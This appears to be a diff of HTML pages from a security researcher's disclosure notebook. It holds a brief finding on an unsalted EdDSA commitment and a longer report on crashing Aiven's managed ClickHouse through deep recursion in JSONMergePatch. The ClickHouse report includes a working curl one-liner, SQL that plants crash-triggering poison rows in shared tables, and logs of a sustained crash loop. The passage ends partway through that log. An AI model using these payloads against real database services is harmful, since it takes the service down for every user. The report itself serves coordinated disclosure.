| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/08-eddsa-unsalted-commitment-P3/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Finding 08: Asymmetric EdDSA Uses Unsalted Commitment | Zion Boggan"> | |
| + | <meta property="og:description" content="EdDSA commitment uses unsalted SHA-256, enabling rainbow-table-style precomputation against fixed nonce structures."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/08-eddsa-unsalted-commitment-P3/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Finding 08: Asymmetric EdDSA Uses Unsalted Commitment | Zion Boggan"> | |
| + | <meta name="twitter:description" content="EdDSA commitment uses unsalted SHA-256, enabling rainbow-table-style precomputation against fixed nonce structures."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Finding 08: Asymmetric EdDSA Uses Unsalted Commitment","description":"EdDSA commitment uses unsalted SHA-256, enabling rainbow-table-style precomputation against fixed nonce structures.","url":"https://zionboggan.com/security-research-notebook/08-eddsa-unsalted-commitment-P3/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Crypto soundness</div> | |
| + | <h1>Finding 08: Asymmetric EdDSA Uses Unsalted Commitment</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Severity: P3 (Medium) → possibly P4 given R entropy</h2> | |
| + | <h2>Summary</h2> | |
| + | <p><code>commit_to_r()</code> uses plain SHA256(id || index || player_id || R) without random salt. Commitment is deterministic, same inputs always produce same output. The symmetric EdDSA path correctly uses <code>commitments_create_commitment_for_data()</code> with 32-byte random salt.</p> | |
| + | <h2>Location</h2> | |
| + | <ul> | |
| + | <li><strong>File:</strong> <code>src/common/cosigner/asymmetric_eddsa_cosigner.cpp</code>, lines 59-70</li> | |
| + | </ul> | |
| + | <h2>PoC Verified</h2> | |
| + | <pre><code>Vulnerable: 10000/10000 collisions (100.0%) - ALL identical! | |
| + | Correct: 0/10000 collisions (0.0%) | |
| + | </code></pre> | |
| + | <h2>Practical Impact</h2> | |
| + | <p>Low, R has 253-bit entropy making brute-force infeasible. But the commitment is not computationally hiding per cryptographic definition, and the inconsistency with the symmetric protocol suggests an oversight.</p> | |
| + | <h2>Remediation</h2> | |
| + | <p>Add RAND_bytes salt before the SHA256 hash inputs.</p> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/fireblocks/08-eddsa-unsalted-commitment-P3.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,510 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query | Zion Boggan</title> | |
| + | <meta name="description" content="Single `SELECT JSONMergePatch(...)` SIGSEGVs the managed instance. Crash payload is storable in shared tables."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/aiven-clickhouse-jsonmergepatch-stack-overflow/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query | Zion Boggan"> | |
| + | <meta property="og:description" content="Single `SELECT JSONMergePatch(...)` SIGSEGVs the managed instance. Crash payload is storable in shared tables."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/aiven-clickhouse-jsonmergepatch-stack-overflow/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Single `SELECT JSONMergePatch(...)` SIGSEGVs the managed instance. Crash payload is storable in shared tables."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query","description":"Single `SELECT JSONMergePatch(...)` SIGSEGVs the managed instance. Crash payload is storable in shared tables.","url":"https://zionboggan.com/security-research-notebook/aiven-clickhouse-jsonmergepatch-stack-overflow/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">DoS / stack overflow</div> | |
| + | <h1>Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Summary</h2> | |
| + | <p>Aiven’s managed ClickHouse service (Tier 1) is vulnerable to an authenticated denial-of-service attack that crashes the server process (SIGSEGV) via a single SELECT query. <strong>Any authenticated user, including users with only SELECT privileges</strong>, can execute <code>SELECT JSONMergePatch(...)</code> with two deeply nested JSON documents, causing an unbounded stack recursion in the <code>merge_objects</code> function (<code>jsonMergePatch.cpp:70-91</code>) that exceeds the thread stack size and kills the server process.</p> | |
| + | <p>The attack requires no special permissions, no configuration changes, and no prior setup, just one HTTP request. Each crash causes <strong>8-23 seconds of downtime</strong> while Aiven’s orchestration restarts the ClickHouse process. A scripted attacker re-crashing on recovery achieves <strong>100% effective downtime</strong>.</p> | |
| + | <p>The crash payload can also be stored in MergeTree table columns as persistent data. A user with INSERT privileges can plant poison data in a shared table they didn’t create. <strong>Any future user</strong> running a query that applies <code>JSONMergePatch</code> to that data crashes the server, the attacker doesn’t need to be present.</p> | |
| + | <h2>Affected Target</h2> | |
| + | <ul> | |
| + | <li><strong>Service:</strong> Aiven for ClickHouse (Tier 1)</li> | |
| + | <li><strong>Version tested:</strong> ClickHouse 25.3.14.1</li> | |
| + | <li><strong>Instance:</strong> <code>[REDACTED].<host>:26161</code></li> | |
| + | </ul> | |
| + | <h2>Severity</h2> | |
| + | <p><strong>P1, Critical Impact and/or Easy Difficulty</strong></p> | |
| + | <p><strong>VRT:</strong> Application-Level Denial-of-Service (DoS) > Critical Impact and/or Easy Difficulty</p> | |
| + | <p><strong>CVSS 3.1:</strong> <code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H</code>, <strong>Score: 7.7 (High)</strong></p> | |
| + | <ul> | |
| + | <li><strong>AV:N</strong>, Network-exploitable over HTTPS</li> | |
| + | <li><strong>AC:L</strong>, Single query, no race, no preconditions</li> | |
| + | <li><strong>PR:L</strong>, Any authenticated user, including SELECT-only (demonstrated with a restricted user with zero admin privileges)</li> | |
| + | <li><strong>UI:N</strong>, No user interaction required</li> | |
| + | <li><strong>S:C</strong>, Scope changed: attacker’s session crashes the entire managed instance, disconnecting all clients. Stored poison data causes a <em>different</em> user’s innocent query to crash the server (demonstrated: <code>writer</code> plants data → <code>analyst</code> query crashes server).</li> | |
| + | </ul> | |
| + | <p><strong>Impact summary:</strong> | |
| + | - Single SELECT query crashes the entire managed ClickHouse instance (SIGSEGV) | |
| + | - <strong>Sustained crash loop: 6 crashes in 93 seconds, 100% effective downtime</strong>, server never stays up long enough to serve real queries | |
| + | - Any authenticated user, <strong>including SELECT-only users with no admin privileges</strong> (demonstrated) | |
| + | - Repeatable indefinitely | |
| + | - Crash payload can be stored in shared table columns, a different user querying that data triggers the crash (demonstrated) | |
| + | - Attacker can hide poison in existing shared tables they have INSERT access to (demonstrated with <code>shared_analytics</code>) | |
| + | - CREATE VIEW with the payload also crashes during type inference evaluation</p> | |
| + | <h2>Steps to Reproduce</h2> | |
| + | <h3>Prerequisites</h3> | |
| + | <ul> | |
| + | <li>An Aiven for ClickHouse instance (any plan)</li> | |
| + | <li>Authentication credentials (any user with SELECT privilege)</li> | |
| + | <li><code>curl</code> (no other tools needed)</li> | |
| + | </ul> | |
| + | <h3>One-line crash</h3> | |
| + | <pre><code class="language-bash">curl -s "https://<user>:<password>@<host>:26161/" \ | |
| + | --data "SELECT JSONMergePatch(concat(repeat('{\"a\":', 25000), '1', repeat('}', 25000)), concat(repeat('{\"a\":', 25000), '2', repeat('}', 25000))) FORMAT Null" | |
| + | </code></pre> | |
| + | <h3>Observe</h3> | |
| + | <p>The connection is immediately reset (server process died). The server is unreachable for 8-23 seconds while Aiven restarts the ClickHouse process. After restart, <code>SELECT uptime()</code> shows a small value confirming the process was restarted.</p> | |
| + | <h3>Crash depth threshold</h3> | |
| + | <pre><code>Depth 1000: OK (no crash) | |
| + | Depth 5000: OK (no crash) | |
| + | Depth 10000: OK (no crash) | |
| + | Depth 20000: OK (no crash) | |
| + | Depth 25000: *** CRASH (connection lost) *** | |
| + | Depth 50000: *** CRASH (connection lost) *** | |
| + | </code></pre> | |
| + | <h2>Full Exploit Chain</h2> | |
| + | <h3>Chain 1: Direct crash, any user, one request</h3> | |
| + | <p>Single query, immediate server death. Demonstrated with a <code>analyst</code> user that has <strong>only SELECT privileges</strong>:</p> | |
| + | <pre><code>curl (as analyst) → SELECT JSONMergePatch(deep_json_1, deep_json_2) → SIGSEGV → server down | |
| + | </code></pre> | |
| + | <p>Actual output:</p> | |
| + | <pre><code>$ # Analyst user has SELECT-only privileges: | |
| + | $ SHOW GRANTS FOR analyst | |
| + | GRANT SELECT ON default.* TO analyst | |
| + | ||
| + | $ curl "https://analyst:<password>@<host>:26161/" \ | |
| + | --data "SELECT JSONMergePatch(...) FORMAT Null" | |
| + | curl: (28) Operation timed out ← server process died | |
| + | ||
| + | $ # After restart: | |
| + | $ curl "https://.../" --data "SELECT uptime()" | |
| + | 31 ← server restarted | |
| + | </code></pre> | |
| + | <h3>Chain 2: Persistent poison via table data, attacker inserts, victim crashes</h3> | |
| + | <p>Store the crash payload in a MergeTree table. Any future query applying <code>JSONMergePatch</code> to the stored data crashes the server, <strong>even from a different user session</strong>.</p> | |
| + | <pre><code class="language-sql">-- Attacker stores deeply nested JSON | |
| + | CREATE TABLE config_store (id UInt32, config String) ENGINE = MergeTree ORDER BY id; | |
| + | INSERT INTO config_store VALUES (1, concat(repeat('{"a":', 25000), '1', repeat('}', 25000))); | |
| + | ||
| + | -- Data persists in MergeTree (survives restart) | |
| + | -- A DIFFERENT user (analyst, SELECT-only) queries the data: | |
| + | SELECT JSONMergePatch(config, config) FROM config_store WHERE id=1; | |
| + | -- ↑ SIGSEGV - server crashes, triggered by the VICTIM's query, not the attacker | |
| + | </code></pre> | |
| + | <p>Actual output (cross-user test):</p> | |
| + | <pre><code>=== Uptime before: 1250 === | |
| + | ||
| + | === Analyst (SELECT-only) reads stored poison === | |
| + | curl exit code: 56 (SSL connection reset - server died) | |
| + | ||
| + | === After restart === | |
| + | Uptime: 8 ← server restarted | |
| + | Poison data persists: 1 row(s) ← data survived restart | |
| + | </code></pre> | |
| + | <h3>Chain 3: Poison hidden in shared table, attacker has INSERT, victim has SELECT</h3> | |
| + | <p>A user with INSERT access plants poison data in an <strong>existing shared table they didn’t create</strong>. An innocent analyst running a routine query on that table crashes the server.</p> | |
| + | <pre><code class="language-sql">-- Shared analytics table (pre-existing, not created by attacker): | |
| + | -- CREATE TABLE shared_analytics (event_date Date, user_id UInt64, | |
| + | -- event_type String, metadata String) | |
| + | ||
| + | -- Writer (INSERT+SELECT only) injects poison into metadata column: | |
| + | INSERT INTO shared_analytics (user_id, event_type, metadata) | |
| + | VALUES (999, 'config_update', | |
| + | concat(repeat('{"a":', 25000), '"deep"', repeat('}', 25000))); | |
| + | ||
| + | -- Later, analyst (SELECT-only) runs a routine metadata consolidation: | |
| + | SELECT JSONMergePatch(s1.metadata, s2.metadata) | |
| + | FROM shared_analytics s1, shared_analytics s2 | |
| + | WHERE s1.event_type = 'config_update' AND s2.event_type = 'config_update'; | |
| + | -- ↑ SIGSEGV - server crashes | |
| + | </code></pre> | |
| + | <p>Actual output:</p> | |
| + | <pre><code>=== Writer inserts into shared_analytics (table they didn't create) === | |
| + | user_id=999, event_type=config_update, length(metadata)=150006 ← INSERT succeeded | |
| + | ||
| + | === Uptime before analyst query: 52 === | |
| + | ||
| + | === Analyst merges metadata rows === | |
| + | curl exit code: 56 ← server crashed | |
| + | </code></pre> | |
| + | <p>The attacker’s data blends in with normal <code>config_update</code> rows. The analyst’s query is a standard JSON merge pattern, nothing suspicious about it.</p> | |
| + | <h3>Chain 4: CREATE VIEW crashes during type inference, DEMONSTRATED</h3> | |
| + | <pre><code class="language-sql">CREATE VIEW innocent_report AS | |
| + | SELECT JSONMergePatch(concat(repeat('{"a":', 25000), '1', repeat('}', 25000)), | |
| + | concat(repeat('{"a":', 25000), '2', repeat('}', 25000))) AS result; | |
| + | -- ↑ SIGSEGV during type inference - server crashes before VIEW is even stored | |
| + | </code></pre> | |
| + | <h3>Chain 5: Sustained crash loop, 100% denial of service</h3> | |
| + | <p>A script that re-crashes the server immediately upon recovery achieves permanent denial of service:</p> | |
| + | <pre><code>=== TIGHT CRASH LOOP - 6 cycles, 3s polling === | |
| + | Start: 01:03:06 UTC | |
| + | Crash #1: down 8s, recovered 01:03:14 UTC | |
| + | Crash #2: down 22s, recovered 01:03:36 UTC | |
| + | Crash #3: down 10s, recovered 01:03:46 UTC | |
| + | Crash #4: down 21s, recovered 01:04:07 UTC | |
| + | Crash #5: down 9s, recovered 01:04:16 UTC | |
